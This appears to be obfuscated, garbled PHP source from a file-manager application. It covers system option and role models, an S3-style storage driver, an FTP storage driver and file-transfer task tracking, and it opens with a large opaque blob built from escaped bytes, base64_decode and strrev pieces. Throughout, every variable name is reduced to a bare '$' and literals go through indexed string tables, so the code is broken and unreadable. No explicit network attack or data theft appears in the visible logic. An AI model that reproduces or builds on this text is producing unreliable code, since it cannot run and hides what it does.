6|c\5#\245D\242+\303\301@\244#\34_\245du[\21j*\344)\17\347R&"d:\360"."\xc\xab\x93\xfc\xbd\x9\x1c\xf4&\xd1\x9\xc2\x9b\xe6\xa7,K\x9c\xa7\xa4\x7\xd4\xa5\x17\xb9\x9c\xd5R\xfc\xd3\xcbU5\x16\xb1eN\xbe\xaa\xc\x16\x8c\xd7\xc8\x9d\x17b`)"."s\xa9\xacW\xe7\x9f\xd0\xb1\x9e\x94\xd4b\xa9@\xa5Fk \x7f\xed/\x90\xb7@\xe4\xdc\x88\x11\xd2\x8bS5\xde(\x8e\x1a\x96!\x16>+1!\xd7\x1e\xe8\xe8\xe\xf7".strrev('^JUw;%p7{zLFfe\\(^$H')."8\320\250\364\212R\251\254\31\226.\1\350\23?\263\301\20F\313\347\35o"\3463R\264\342\334Yk~J\245\37`0\311\253`\255\261\360\312\256\304\377"."\272\251FZx\3642\322L_\206\333-\322\267\35\202\362\373\231\354\233U/E}\352\233S\36q\363\247\22?G\354q;\223\34\217\200w\247\260pT\245".base64_decode('Ln/EJxB3Up4oyVev/rSfDzENYMeFIXbfhyPioIKzQ234c/T4ik7lWILIjjRMGofoBA==')."\x8c\xb3C\xf5\xc0\xf5z\x96[\xb9\xd6\xf16V\xd57\xc8\xab\xd4\x8d\xdcK\xa1\x9c\x83\xa2s(\xc6_i\x11E\xdd)5\x1a\x80\x92\x15!\xe3\xe2\x19\x946\xa5\x89".">\344\306_\340P\2262+l\361\1\342^,T(\331\216\243}\227\254a/\315
\5\20NG\34\237\260\376\227Y\230\250\28\4[\21\326.\256\211".base64_decode('3x8pZkx5/AhBxuYS9MFFKkPwoKODblc/1kSL/38pSBPjkj9JZyXVDbLcW51gu/A7VA==').base64_decode('OXPM+QojhrhfnnK8OSUtGmIsLL+S5SzkqXoHRiEP6CoI1WEWsYcpdiYlmaVPz6I/Aw==').base64_decode('8Mu2M3cjKKGCTzZypArmjHy6zLWcBKBbF4IDUgor+mjsoWDyQl0Ho8nw9Eyt58iw2w==')."@\347:\342a"\261w:\37j\341w\365\226X\226\355x\32(a&\264\254\207rd\230\252\211X\373\204\34\226\365sI/P"\23\356\245\371|"."/\x932\xb0'\xfe\xd2\x1e\xf2\xe2\x1c%u\xee\xb7m\xa4\x95\xc6\xe9\xa7\:\x9b7\x93Z>F\xf5\x0\x1d\xc65et\x9a\xd2\xd9\x1e\xe0\xc8FA~\xadT\x12W"."\x19\xf2\x96\x89\xfew\x185BZ_\xa2K%\xa6\xf9*U>\x88\xb\x9c\x93.\x12)\x10.\x15+\xc50\xbdRq@\xcb\xd29O\xf6\xc4J\xafY\x84\x19\x1dd".base64_decode('R+3spZesMGBylezim4vIO6UH5f3VF+VYwxEoCnmoWiiKELN5+SAGGZSlikANx0LGqA==')._kodDe('MKZy6E8NlAKP0SD37Nc+E8spZsSeOCHhAj23jHV1zwoIiQXaqTJMu9aNppnjkGwrfjU=')."\xc8\x96\xe\xbcEX\xe3\x81\xc1)\xdf'\xf4\x8\x8b\xc9Oz\x9dI\xd8\xf59\xdf\x9f\xc6\xfd\xe0\xac\x1?7T\x1d=\xdc\xa7\xe>\xac\xae\x21\xf7 '\xccjy".base64_decode('sVAlcLyeKPUaSFv1C4zSMEj9rpTzHqJV4WHu+Wo+4uh4K8o9oTWegfzUCkH9mhy60g==')."N\252\327\2724Yf7\316\356l\206\3w\325\262.l~\250\307\325\252
b}!\3352w\376bY\270!\246P\334\3032\337\376\364\7\270\25\201\24\212"."\23
\25\346\346U^\375$\321\251I_\375~\250k\7\370\337-\30qz\240Y%=\365\352\227\226\253F\200\340\251\244\326%m\210.\375\35\23\253\324X"."b\325\321-P\274\23\352\374\26e\37j\364C\332\367\304b\241o>\232y|\306.`Y\276]\326\234\7\312Z\347&2\22\354\220f\220\367\322uw\333"."\xc9\xc0\x804E$K\x7+\xb9F\xdbt\x8b\x82pq\xbc/\x12\xb1f\xb4\x98\x87m\x1b\xdb\x88\x8b\xd5&Q\xa2\xff\xc5\x4\xb23\x12=N\x9\xd5.\xdc}\xc7\xd1"."\3329
\376\25\214\314\324x\337S\322j\371\204>PN\217\237
\275\232\355\225\220S\22%\352v\224L6\220q\204u\366\333U=*&\352\30\364(".strrev('>R:;e^KcApdb'."\0".'1G@gfeS')."\252\253\226\36\203\24\22""R\202\36\301\342&\312\17\244\231\201\225\334\374R\223\364\364\234b+<\324\322\23\276\246\34\26S\200\267\200(\363O\213\276\3568"."v\242x\207\353\261gB\256\334/@\263!"4B\220?\311\212\327q\306\341\317\3419\316<\226\373ML\304\371\311\376\246Q\324\375Z0\320Ib\252C"."\277&\355\264bS\25\241\236JAD$Y/9^\361D\207\2613v\223\345" \314\204\332r\275\210K\275\377\3220;\5\374\377~\16\362\377\326+\220"."\363\233\230T\336\361H\364J\340\305\31\3737)y\33\247\22aW?\234\273\3514\300"\376:\272\24\347\312\335\314U\32\363\240\246\261\2331-\237\227\366\334".base64_decode('2qeXqqd4EfIN83dda0XcpoDuZ3n72Qv25MXdwVoZBRnih6QaeExBjDeW3mY3UsM1rg==')."\xb9\x89r\xab\xd3[\xb7\xc4\x8bTe\x13m@,\xb\xf3A\xe7g\xa1\x14>\x1d\x12\xc7\x100z\xb2\xdo\xb4\xc4\xce\x91\x8d@\xf4\x7W0\xe2D\x1c\x6\x0\x8d\x92"."\xe9\x92\x3TE\xcd\x12\x8e9q\x0\xe5\xe1\x869\xc4V\xd0l:\x1d%\xba]\xcf\x8f\xd2L\x96<\xb6\xeI~\xb5\xd6CuiN\x7\xe4"X\xa7\xde)\xdc\xe2"."/\xc77\xb9\x9f\x92o\xf6\xba\xaa\xe3/\xb0:q\xdd\xf1$(\xd5\x14A\xb$\x86%\x1eL\x86E.\x83\xc8\xad\xb0\xb7\xba\xc\xc5\xeb\xb8\xc83\xc5\xca\xaa\xbd\xbey".base64_decode('o4RAD4fk8WB0ordsEr7QCeVSIEnNWXoBvYrVo+BZvqpNipFMx0xh1TreEMMkXv9Z0Q==')."\276\356\6b\324\5\210\216\16'\235\246@\31\3519r\2740\205\233L\254\324M\344\2212\37\300L*%3\5\09\244\206\226\374\300\212\263$6<q.".strrev('>V"]$ck!'."\n".'~<H;m%?'."\r".'9Rb1yZe%e')."\355| \206$\220\363\250
5H\27\201\316{X\356\242\276\212\334V\214\210\224LJ1G}\350\27\233\235\206\205\37\16\222L\2578\2\243\32wu\343".".\345|\300^\272\265M\21\204U_\314\211\373B\211Ya\305\3609K\354#.x\255\367\3303\332\250\340\264\4\247\237Nwj\2435\262\246\331Y\207"."C\21\204g%\234\232d\261-\314)\3641\367\203\325>\331\312\333\221\261\32*,\272\245\362\342\212Ft\23\303ju\237,4gq\331b\234#\225\0\321".strrev('Ji9PyZ3<\'vB :t<').base64_decode('sjRDQgE9H5Gqky9qpywQr/0RgZXOIZYM+0UC2yFNx+BLJJJ3DHLG5ERHc9xTS441Ag==').base64_decode('fSmwQITENC3gTKL5dVfr5QLuntESsvDBAR8z7FROOoNVJ1bDy1WDDQ2o3Q93a9lYuw==').strrev('x=W)U5\\+2UlI'."\0".')Gax).hF ZHO')." \xe9H\xd7\xe8\xb0\x90\x7HY\xa7\x1a\xcf\x9a\x99\xab?\x7\x98\xe8\xceMD#\xb5[!$\x1a\xae\xdb\xf8Z\xad\xa8\x99y\xcaV\x88\xdc\xae\xdd\xa1\x16\xdf)5".strrev('..,1IHVY#U]Oj/jjS(.')."\220\21\235R\363\306\260\320\325c\252\373\263\34\333B\2458\4\371V\223\26\252\230X\255<Pv\217sUmN4.V$\217\2735- <X\246P"."}z\317k\334\276K\2503\321\343\226i\33)\335\351\326Wv\363E\323\331G\362\222\300\322%+\24\22\16\207\256C
\32\1\1;(\304\366\264>\211".base64_decode('0RE44TD0oewF3HbQi9IgvpDnV2TEJS3djmly3CzbHpyWMEvkt920baE4QEUKhIfEew==').strrev(''."\0".'.LqepCZ.Eq!AG').base64_decode('k+Y4862F3Q6I9ogrHs3NJwoWB1BR1vIhzh0sP03xw6MRXlIHPFHnGyplHcXp415cGw==')."\367\223j\01\257\250\202z\214'270D\212'\342UI\275\201x|m4\326A\35\314W%\223R\222\326TURoW\264g\252\264Pw \34".base64_decode('qUrDClY9qvDSRpPCvaSV5JZyqlaEg6tES8h9uLg9wE+McrkJPU/EtTyTD0jSZb0g3A==')."\363\2112N\261\207<\257\26\363\243\311\3\316\327\232\z\214a\241"\254\34\325\3u\307J\0\305\16\367\371\272\347\274\270l\206).\373}\16\245\0 "."N\xd6\x9!<\x12\xfe\xc9\xfb3\x1\xcc\xae9X\xb2\xe4\xb9\xfaV\x84\xa4\x8a\xc1\xc0\x8d<\xc1\x4-\xbb!3)\xddz\xd0S\x11X\xe\xc3\xf0J\xcap4\xecH".base64_decode('trVszbtxKmHElEDI/v4PuDQObgiwAAA='), 10, -8))); goto A; c: class SystemOptionModel extends ModelBaseOption { protected $tableName = "system_option"; protected $jsonField = array("menu", "role", "roleGroup", "regist", "email"); function __construct() { parent::__construct(); } protected function cacheKey($) { return "SystemOption_{$}"; } protected function optionDefault($ = '') { $ =& $_SERVER[]; if ($ == $[12]) { return $GLOBALS[$[6]][$[427]]; } } } class SystemRecordModel extends ModelBaseLight { } class SystemRoleModel extends ModelBaseLight { public $optionType = "System.roleList"; public $field = array("name", "auth", "label", "display", "system", "desc", "ignoreExt", "ignoreFileSize", "administrator", "sort"); public function listData($ = false, $ = "sort", $ = false) { $ =& $_SERVER[]; $ = parent::listData($, $, $); if (!$) { foreach ($ as $ => $) { if ($[$[2107]] == 1) { $[$][$[496]] = LNG($[2347]); } } } return $; } public function update($, $) { $ =& $_SERVER[]; $ = parent::listData($); $ = $this->findByName($[$[32]]); if (!$ || $ && $[$[445]] != $[$[445]]) { return !1; } if ($[$[2107]] == 1) { $ = array($[32] => $[$[32]], $[1927] => $[$[1927]]); } $this->filterAuth($[$[457]]); return parent::update($, $); } public function remove($) { $ = parent::listData($); if (!$ || $[$_SERVER[][181]]) { return !1; } return parent::remove($); } public function add($) { $ =& $_SERVER[]; $ = $[$[32]]; if ($this->findByName($)) { return !1; } $ = array($[464] => $, $[1910] => $[12], $[1906] => $[1914], $[2348] => 1, $[1909] => 0, $[2349] => 0, $[1908] => $this->getSort()); $ = array_merge($, $); $this->filterAuth($[$[457]]); return parent::insert($); } private function getSort() { $ =& $_SERVER[]; $ = parent::listData(); $ = array_to_keyvalue($, $[12], $[1928]); return empty($) ? 0 : max($) + 1; } private function filterAuth(&$) { $ =& $_SERVER[]; $ = array(); $ = array_filter(explode($[50], $)); foreach ($ as $) { $ = explode($[10], $); if ($[0] == $[2350] && $[1] != $[1241]) { $ = $[0] . $[10] . $[1] . $[2351]; if (!in_array($, $)) { $[] = $; } } $[] = $; } $ = implode($[50], $); } public function findRoleDefault() { $ =& $_SERVER[]; $ = parent::listData(); $ = !1; foreach ($ as $) { if (!$ || $[$[1926]] == $[214] || $[$[2107]] == 1) { continue; } if (strstr($[$[457]], $[2352])) { continue; } if (!strstr($[$[457]], $[2353])) { continue; } if (!$) { $ = $; continue; } $ = explode($[50], $[$[457]]); $ = explode($[50], $[$[457]]); if (count($) > count($)) { $ = $; } } return $ ? $[$[445]] : $[12]; } public function sort($, $) { return parent::update($, $); } } goto A; f: class PathDriverEDS extends PathDriverMinIO { public function __construct($) { parent::__construct($); } } class PathDriverEOS extends PathDriverBaseS3 { public function __construct($) { parent::__construct($); $this->signatureVersion($_SERVER[][233]); } public function uploadFormData($, $ = 3600) { $ =& $_SERVER[]; $ = $[215]; $ = $[255]; $ = $[62]; $ = gmdate($[256]); $ = gmdate($[257]); $ = $[258]; $ = $ . $[12]; $ = $[259]; $ = array($this->accessKey, $, $this->region, $, $); $ = implode($[8], $); $ = array($[260] => gmdate($[1376], strtotime($[262])), $[263] => array(array($[264] => $this->bucket), array($[265] => $), array($[266], $[267], $[12]), array($[266], $[268], $[12]), array($[266], $[269], $[12]), array($[270] => $), array($[271] => $), array($[272] => $), array($[273] => $), array($[274] => $))); $ = base64_encode(json_encode($)); $ = hash_hmac($[275], $, $[276] . $this->secret, !0); $ = hash_hmac($[275], $this->region, $, !0); $ = hash_hmac($[275], $, $, !0); $ = hash_hmac($[275], $, $, !0); $ = hash_hmac($[275], $, $); $ = array($[232] => $[12], $[277] => $[12], $[265] => $, $[270] => $, $[278] => $, $[279] => $, $[280] => $, $[281] => $, $[282] => $, $[283] => $, $[198] => $this->getHost()); return $; } } class PathDriverFTP extends PathDriverBase { private $server = ''; private $username = ''; private $userpass = ''; private $scheme = ''; private $host = ''; private $port = 21; private $connect = false; private $pasv = "1"; public $config = array(); public function __construct($) { parent::__construct(); if (count($) > 0) { $this->_init($); } } public function __destruct() { if (!$this->_isconn()) { return !1; } return @ftp_close($this->connect); } private function charsetReset($) { $ =& $_SERVER[]; global $config; $this->appCharset = $config[$[1402]]; $this->systemCharset = $config[$[1403]]; if (isset($[$[1404]]) && $[$[1404]]) { $this->systemCharset = $[$[1404]]; } } public function iconvApp($) { return $this->iconvTo($, $this->systemCharset, $this->appCharset); } public function iconvSystem($) { return $this->iconvTo($, $this->appCharset, $this->systemCharset); } public function getPathOuter($) { $ =& $_SERVER[]; $ = $this->iconvApp($this->pathBase); $ = $this->iconvApp($); if (substr($, 0, 2) == $[1405]) { $ = BASIC_PATH . substr($, 2); } if (substr($, 0, 2) == $[1405]) { $ = BASIC_PATH . substr($, 2); } $ = KodIO::clear($); $ = KodIO::clear($); $ = substr($, strlen($)); if (empty($this->pathDriver)) { return $; } return $this->pathDriver . $[8] . ltrim($, $[8]); } private function _init($ = array()) { $ =& $_SERVER[]; if (!function_exists($[1406])) { throw new Exception(LNG($[1407])); } $this->config = $; $this->charsetReset($); foreach ($ as $ => $) { if (isset($this->{$})) { $this->{$} = $; } } return $this->_login($); } private function _login($) { $ =& $_SERVER[]; static $ = array(); $ = md5(json_encode($)); if (isset($[$])) { foreach ($[$] as $ => $) { $this->{$} = $; } return !0; } $ = parse_url(trim($this->server, $[8])); $this->host = $[$[198]]; $ = isset($[$[197]]) && $[$[197]] == $[1408] ? !0 : !1; $this->scheme = $ ? $[1409] : $[1410]; $this->port = isset($[$[199]]) ? $[$[199]] : 21; $this->connect = @ftp_connect($this->host, $this->port, 5); if ($this->connect === !1) { return !1; } $ = @ftp_login($this->connect, $this->username, $this->userpass); @ftp_set_option($this->connect, FTP_USEPASVADDRESS, !1); $ = $this->pasv == $[90] ? !0 : !1; @ftp_pasv($this->connect, $); $[$] = array($[1411] => $this->connect, $[198] => $this->host, $[197] => $this->scheme, $[199] => $this->port); return $; } private function _isconn() { if (is_resource($this->connect)) { return !0; } return $this->_login($this->config); } public function mkfile($, $ = '', $ = REPEAT_RENAME) { if ($this->setContent($, $)) { return $this->getPathOuter($); } return !1; } public function mkdir($, $ = REPEAT_SKIP) { if (!$this->_isconn()) { return !1; } $ = $this->iconvSystem($); if ($this->_isFolder($) || @ftp_mkdir($this->connect, $)) { return $this->getPathOuter($); } if (!$this->mkdir($this->pathFather($))) { return !1; } if ($ = @ftp_mkdir($this->connect, $)) { return $this->getPathOuter($); } return !1; } public function copyFile($, $) { if (!$this->_isconn()) { return !1; } $ = $this->pathThis($this->iconvSystem($)); $ = $this->tempFile($); $ = $this->iconvApp($); $this->download($, $); $ = $this->upload($, $); $this->tempFileRemve($); return $; } public function moveFile($, $) { if (!$this->_isconn()) { return !1; } $ = $this->iconvSystem($); $ = $this->iconvSystem($); $ = @ftp_rename($this->connect, $, $); return $ ? $this->getPathOuter($) : !1; } public function delFile($) { if (!$this->_isconn()) { return !1; } $ = $this->iconvSystem($); return @ftp_delete($this->connect, $); } public function delFolder($) { if (!$this->_isconn()) { return !1; } $this->listItemCache = !1; $ = $ = array(); $this->fileList($, $, $, !0); $this->listItemCache = !0; foreach ($ as $) { $ = $this->iconvSystem($[$_SERVER[][32]]); $ = @ftp_delete($this->connect, $); if (!$) { return !1; } } foreach ($ as $) { $ = $this->iconvSystem($); $ = @ftp_rmdir($this->connect, $); if (!$) { return !1; } } $ = $this->iconvSystem($); return @ftp_rmdir($this->connect, $); } public function rename($, $) { $ =& $_SERVER[]; if (!$this->_isconn()) { return !1; } $ = $this->fileNameAuto($this->pathFather($), $); $ = $this->iconvSystem($); $ = $this->iconvSystem($); $ = $this->pathFather($); $ = rtrim($, $[8]) . $[8] . $; $ = @ftp_rename($this->connect, $, $); $ = $this->iconvApp($); return $ ? $this->getPathOuter($) : !1; } private function folderInfo($, $ = false) { $ =& $_SERVER[]; $ = array($[32] => $this->pathThis($), $[86] => $this->getPathOuter($[8] . $), $[33] => $[77]); if ($) { return $; } $[$[217]] = $[$[87]] = 0; $[$[218]] = $[$[219]] = !0; return $; } private function fileInfo($, $ = false, $ = array()) { $ =& $_SERVER[]; $ = array($[32] => $this->pathThis($), $[86] => $this->getPathOuter($[8] . $), $[33] => $[216], $[78] => isset($[$[78]]) ? $[$[78]] : 0, $[177] => $this->ext($)); if ($) { return $; } $[$[217]] = $[$[87]] = 0; $[$[218]] = $[$[219]] = !0; $ = $this->iconvSystem($); $[$[87]] = @ftp_mdtm($this->connect, $); if (empty($)) { $ = $this->objectMeta($); if (!$) { return $; } } $[$[78]] = $[$[78]]; return $; } public function size($) { $ = $this->objectMeta($); return $ ? $[$_SERVER[][78]] : 0; } public function info($) { if ($this->isFile($)) { return $this->fileInfo($, 0); } else { if ($this->isFolder($)) { return $this->folderInfo($); } } return !1; } private function fileList($, &$, &$, $ = false) { $ =& $_SERVER[]; $ = $this->iconvSystem($); if (!$this->isFolder($)) { return !1; } @ftp_chdir($this->connect, $[8]); $ = rtrim($, $[8]) . $[8]; check_abort(); $ = @ftp_rawlist($this->connect, $); if (!$) { $ = array(); } $ = array($[10] => 1, $[1329] => 1); foreach ($ as $) { $ = $this->_listItem($); if ($[0] == $[803]) { continue; } $ = $[8]; if (empty($) && $ !== $[214] || isset($[$])) { continue; } $ = $this->iconvApp($ . ltrim($, $[8])); $ = array($[32] => $, $[33] => $[216], $[78] => $[4]); if (substr($, 0, 1) == $[1412]) { $[$[33]] = $[77]; $[$[78]] = 0; } $ = $[$[33]] == $[77] ? !0 : !1; $this->cacheMethodInfoSet($, $, $); if ($) { $[] = $; if ($) { $this->fileList($, $, $, $); } continue; } $[] = $; } $this->cacheMethodInfoSet($, !0); } private function _listItem($) { if (empty($)) { return array(); } $ = preg_split($_SERVER[][1413], $); if (count($) <= 9) { return $; } $[8] = trim(substr($, strpos($, $[7]) + strlen($[7]))); return array_splice($, 0, 9); } public function listPath($, $ = false) { $ =& $_SERVER[]; if (!$this->_isconn()) { return !1; } $ = $ = array(); $this->fileList($, $, $); foreach ($ as $ => $) { $[$] = $this->folderInfo($, $); } foreach ($ as $ => $) { $[$] = $this->fileInfo($[$[32]], $, $); } return array($[84] => $, $[85] => $); } public function has($, $ = false, $ = true) { $ =& $_SERVER[]; $ = $ = array(); $ = $ ? !0 : !1; $this->fileList($, $, $, $); if ($) { return array($[225] => count($), $[226] => count($)); } if ($) { if (count($)) { return !0; } } else { if (count($)) { return !0; } } return !1; } public function listAll($) { $ =& $_SERVER[]; if (!$this->_isconn()) { return !1; } $ = $ = array(); $this->fileList($, $, $, !0); $ = array_to_keyvalue($, $[32]); foreach ($ as $) { if (is_string($)) { $[$] = array($[78] => 0); } } return $this->listAllFiles($, $); } public function getContent($) { if (!$this->_isconn()) { return !1; } $ = $this->iconvSystem($); return $this->fileSubstr($); } public function setContent($, $ = '') { if (!$this->_isconn()) { return !1; } $ = $this->pathThis($this->iconvSystem($)); $ = $this->tempFile($); file_put_contents($, $); $ = $this->upload($, $this->iconvApp($)); $this->tempFileRemve($); return $; } public function fileSubstr($, $ = 0, $ = false) { if (!$this->_isconn()) { return !1; } return $this->ftpRequest($, $, $); } private function ftpRequest($, $ = 0, $ = false) { $ = $this->iconvSystem($); $ = $this->scheme . $this->host . $_SERVER[][4] . $this->port; $ = curl_init(); curl_setopt($, CURLOPT_URL, $ . $this->pathEncode($)); curl_setopt($, CURLOPT_USERPWD, "{$this->username}:{$this->userpass}"); if ($) { $ = $ + $ - 1; curl_setopt($, CURLOPT_RANGE, "{$}-{$}"); } curl_setopt($, CURLOPT_RETURNTRANSFER, 1); $ = curl_exec($); curl_close($); return $; } public function upload($, $, $ = false, $ = REPEAT_REPLACE) { if (!$this->_isconn()) { return !1; } if (!$this->mkdir($this->pathFather($))) { return !1; } $ = $this->iconvSystem($); $ = $this->iconvSystem($); $ = ftp_nb_put($this->connect, $, $, FTP_BINARY); while ($ == FTP_MOREDATA) { $ = ftp_nb_continue($this->connect); } if ($ != FTP_FINISHED) { return !1; } return $this->getPathOuter($); } public function download($, $ = '') { if (!$this->_isconn()) { return !1; } $ = $this->pathFather($); if (!IO::mkdir($)) { return !1; } $ = $this->iconvSystem($); $ = $this->iconvSystem($); $ = ftp_nb_get($this->connect, $, $, FTP_BINARY); while ($ == FTP_MOREDATA) { $ = ftp_nb_continue($this->connect); } if ($ != FTP_FINISHED) { return !1; } return $this->iconvApp($); } public function exist($) { return $this->isFile($) || $this->isFolder($); } public function isFile($) { return !$this->isFolder($) && $this->objectMeta($); } public function isFolder($) { return $this->cacheMethod($_SERVER[][168], $); } protected function objectMeta($) { return $this->cacheMethod($_SERVER[][170], $); } protected function _objectMeta($) { $ =& $_SERVER[]; if ($ == $[12] || $ == $[8]) { return array(); } if (!$this->_isconn()) { return !1; } $ = $this->iconvSystem($); $ = array($[32] => $this->iconvApp($), $[33] => $[216], $[78] => 0); @ftp_chdir($this->connect, $[8]); $ = @ftp_size($this->connect, $); if ($ != -1) { $[$[78]] = $; } else { $ = @ftp_chdir($this->connect, $); if (!$) { return !1; } $[$[33]] = $[77]; } return $; } protected function _isFolder($) { $ =& $_SERVER[]; if ($ == $[12] || $ == $[8]) { return !0; } $ = $this->_objectMeta($); return isset($[$[33]]) && $[$[33]] == $[77] ? !0 : !1; } } goto E; C: class Task { const STATYS_STOP = "stop"; const STATYS_RUNNING = "running"; const STATYS_KILL = "kill"; public $task; private $isEnd = false; public function __destruct() { $this->end(); } public function __construct($, $ = '', $ = 0, $ = '') { $ =& $_SERVER[]; if (self::get($)) { return; } $this->task = array($[445] => $, $[1705] => USER_ID, $[1593] => $, $[496] => $[12], $[33] => $, $[1115] => $[12], $[831] => $, $[1706] => 0, $[1707] => 0, $[1708] => 0, $[1709] => timeFloat(), $[1710] => 0, $[1711] => 0, $[1712] => 0, $[1713] => 0, $[795] => $[1655]); $GLOBALS[$[1714]] = 1; Hook::bind($[1659], array($this, $[1715])); Hook::bind($[1716], array($this, $[1717])); $this->startAfter(); Hook::trigger($[1718], $this->task); $this->task[$[1711]] = timeFloat(); } public function end($ = '') { $ =& $_SERVER[]; if (!$this->task || $this->isEnd) { return; } if ($this->task[$[1711]]) { self::valueSet($this->task[$[445]], !1); } $this->isEnd = !0; if ($) { $this->task[$[496]] = $; } self::log($[1719] . $this->task[$[445]] . $[1720] . sprintf($[896], timeFloat() - $this->task[$[1709]]) . $[1721]); Hook::unbind($[1659], array($this, $[1715])); Hook::unbind($[1716], array($this, $[1717])); $this->endAfter(); $ = $this->task; $this->task = !1; Hook::trigger($[1722], $); } public function update($ = 0, $ = false) { $ =& $_SERVER[]; $ =& $this->task; if (!$) { return; } $[$[1706]] += $; $[$[1710]] = timeFloat(); if ($[$[831]]) { if ($[$[831]] < $[$[1706]]) { $[$[831]] = $[$[1706]]; } $ = timeFloat() - $[$[1709]] - $[$[1712]]; if ($ <= 0) { $ = 0.001; } $[$[1707]] = $[$[1706]] / $[$[831]]; $[$[1708]] = $[$[1706]] / $; if ($[$[1707]] > 0) { $[$[1713]] = $ * (1 - $[$[1707]]) / $[$[1707]]; } $[$[1713]] = $[$[1713]] <= 0 ? 0 : $[$[1713]]; } $this->updateAfter(); $ = 0.2; if (timeFloat() - $[$[1711]] < $ && !$) { return; } $ = self::get($[$[445]]); $ = $[$[795]]; if ($ == self::STATYS_KILL) { $ = array($[1723] => LNG($[1724]), $[1263] => !1); Cache::set($[1725] . $this->task[$[445]], $, 30); $this->onKill(); $this->end(); die; } else { if ($ == self::STATYS_STOP) { $ = 2; $[$[1712]] += $; self::valueSet($[$[445]], $); sleep($); $this->update(); return; } } $[$[795]] = $ ? $ : $[$[795]]; $[$[1712]] = $[$[1712]] ? $[$[1712]] : 0; $[$[1711]] = timeFloat(); Hook::trigger($[1726], $); self::valueSet($[$[445]], $); } public function onKillSet($, $ = array()) { $this->onKillCall = array($, $); } public function onKill() { $ =& $_SERVER[]; self::log($[1719] . $this->task[$[445]] . $[1727]); Hook::trigger($[1728], $this->task); if (!$this->onKillCall) { return; } ActionApply($this->onKillCall[0], $this->onKillCall[1]); $this->onKillCall = !1; $this->task = !1; } protected function updateAfter() { } protected function startAfter() { } protected function endAfter() { } public function shutdownEvent() { $this->end(); } public function showJson($) { $ =& $_SERVER[]; Cache::set($[1725] . $this->task[$[445]], $, 60); return $; } public static function get($) { $ =& $_SERVER[]; $ = self::valueGet($); if (is_array($) && $[$[1729]]) { $ = ActionApply($[$[1729]], array($)); $ = is_array($) ? $ : $; } return $; } public static function listData() { $ = self::valueGet(); return array_sort_by($, $_SERVER[][1709], !0); } public static function kill($) { return self::changeStatus($, self::STATYS_KILL); } public static function stop($) { return self::changeStatus($, self::STATYS_STOP); } public static function restart($) { return self::changeStatus($, self::STATYS_RUNNING); } public static function killAll() { $ =& $_SERVER[]; $ = self::listData(); foreach ($ as $) { self::kill($[$[445]]); } sleep(2); foreach ($ as $) { self::valueSet($[$[445]], !1); } } private static function changeStatus($, $) { $ =& $_SERVER[]; $ = self::valueGet($); if (!$) { return !1; } $[$[795]] = $; self::valueSet($, $); self::log($[1730] . $[$[445]] . $[1731] . $); return !0; } public static function valueGet($ = false) { $ =& $_SERVER[]; if ($) { $ = Model($[490])->where(array($[96] => $, $[33] => $[1122]))->find(); return $ ? json_decode($[$[420]], !0) : !1; } return self::taskListUser(USER_ID); } public static function taskListUser($ = false) { $ =& $_SERVER[]; $ = array($[33] => $[1122]); if ($) { $[$[1705]] = $; } $ = Model($[490])->where($)->select(); $ = $ ? $ : array(); foreach ($ as $ => $) { $[$] = json_decode($[$[420]], !0); } return $; } public static function valueSet($, $) { $ =& $_SERVER[]; if (!$) { return Model($[490])->where(array($[96] => $, $[33] => $[1122]))->delete(); } $ = json_encode($); if (!$) { ob_start(); var_dump($); $ = ob_get_clean(); self::log($[1732] . json_encode_force($)); } if (!$ || !$[$[445]]) { return !1; } $ = array($[33] => $[1122], $[1705] => USER_ID, $[96] => $, $[420] => $); $ = $[1733]; CacheLock::lock($); Model($[490])->add($, array(), !0); CacheLock::unlock($); } public static function log($) { if (!GLOBAL_DEBUG) { return; } write_log($, $_SERVER[][1734]); } } class TaskFileTransfer extends Task { protected function startAfter() { $ =& $_SERVER[]; $ =& $this->task; $this->sourceCopyFolder = !1; Hook::bind($[1735], array($this, $[1736])); Hook::bind($[1274], array($this, $[1737])); Hook::bind($[1738], array($this, $[1739])); Hook::bind($[638], array($this, $[1740])); Hook::bind($[639], array($this, $[1741])); Hook::bind($[645], array($this, $[1742])); Hook::bind($[646], array($this, $[1743])); Hook::bind($[641], array($this, $[1744])); Hook::bind($[643], array($this, $[1745])); Hook::bind($[607], array($this, $[1746])); Hook::bind($[604], array($this, $[1746])); Hook::bind($[609], array($this, $[1746])); Hook::bind($[611], array($this, $[1746])); Hook::bind($[613], array($this, $[1746])); Hook::bind($[1747], array($this, $[1748])); Hook::bind($[629], array($this, $[1749])); $this->sourceModelCopyFlag = !1; Hook::bind($[1750], array($this, $[1751])); Hook::bind($[1752], array($this, $[1753])); Hook::bind($[1754], array($this, $[1755])); $[$[1756]] = LNG($[1757]); $[$[1758]] = 0; $[$[1759]] = 0; $[$[1115]] = $[12]; $[$[1760]] = $[12]; $[$[1761]] = 0; $[$[1762]] = 0; $[$[1763]] = 0; if (!$[$[1593]]) { $[$[1593]] = LNG($[1764]); } } protected function endAfter() { $ =& $_SERVER[]; Hook::unbind($[1735], array($this, $[1736])); Hook::unbind($[1274], array($this, $[1737])); Hook::unbind($[1738], array($this, $[1739])); Hook::unbind($[638], array($this, $[1740])); Hook::unbind($[639], array($this, $[1741])); Hook::unbind($[645], array($this, $[1742])); Hook::unbind($[646], array($this, $[1743])); Hook::unbind($[641], array($this, $[1744])); Hook::unbind($[643], array($this, $[1745])); Hook::unbind($[607], array($this, $[1746])); Hook::unbind($[604], array($this, $[1746])); Hook::unbind($[609], array($this, $[1746])); Hook::unbind($[611], array($this, $[1746])); Hook::unbind($[613], array($this, $[1746])); Hook::unbind($[1747], array($this, $[1748])); Hook::unbind($[629], array($this, $[1749])); Hook::unbind($[1750], array($this, $[1751])); Hook::unbind($[1752], array($this, $[1753])); Hook::unbind($[1754], array($this, $[1755])); } public function copyMoveStart($, $, $, $) { $ =& $_SERVER[]; self::log($[1765] . $ . $[72] . $); $ = rtrim(TEMP_FILES, $[8]); if (substr($, 0, strlen($)) == $) { return; } if (substr($, 0, strlen($)) == $) { return; } $ =& $this->task; $[$[1766]] = KodIO::transferType($, $); $this->update(); } public function updateAfter() { $ =& $_SERVER[]; $ =& $this->task; if (!$[$[808]]) { return; } if ($this->sourceModelCopyFlag) { return; } if ($[$[1766]] == $[1366]) { return; } self::updateTask($); } private static function updateTask(&$) { $ =& $_SERVER[]; if ($[$[1766]] == $[1245] || $[$[1766]] == $[109]) { if ($[$[1760]]) { $[$[1763]] = $[$[1762]] + $[$[1759]]; } } else { if ($[$[1766]] == $[1367]) { if ($[$[1760]] == $[1245]) { $[$[1763]] = $[$[1762]] + $[$[1759]] * 0.5; } else { if ($[$[1760]] == $[109]) { $[$[1763]] = $[$[1762]] + 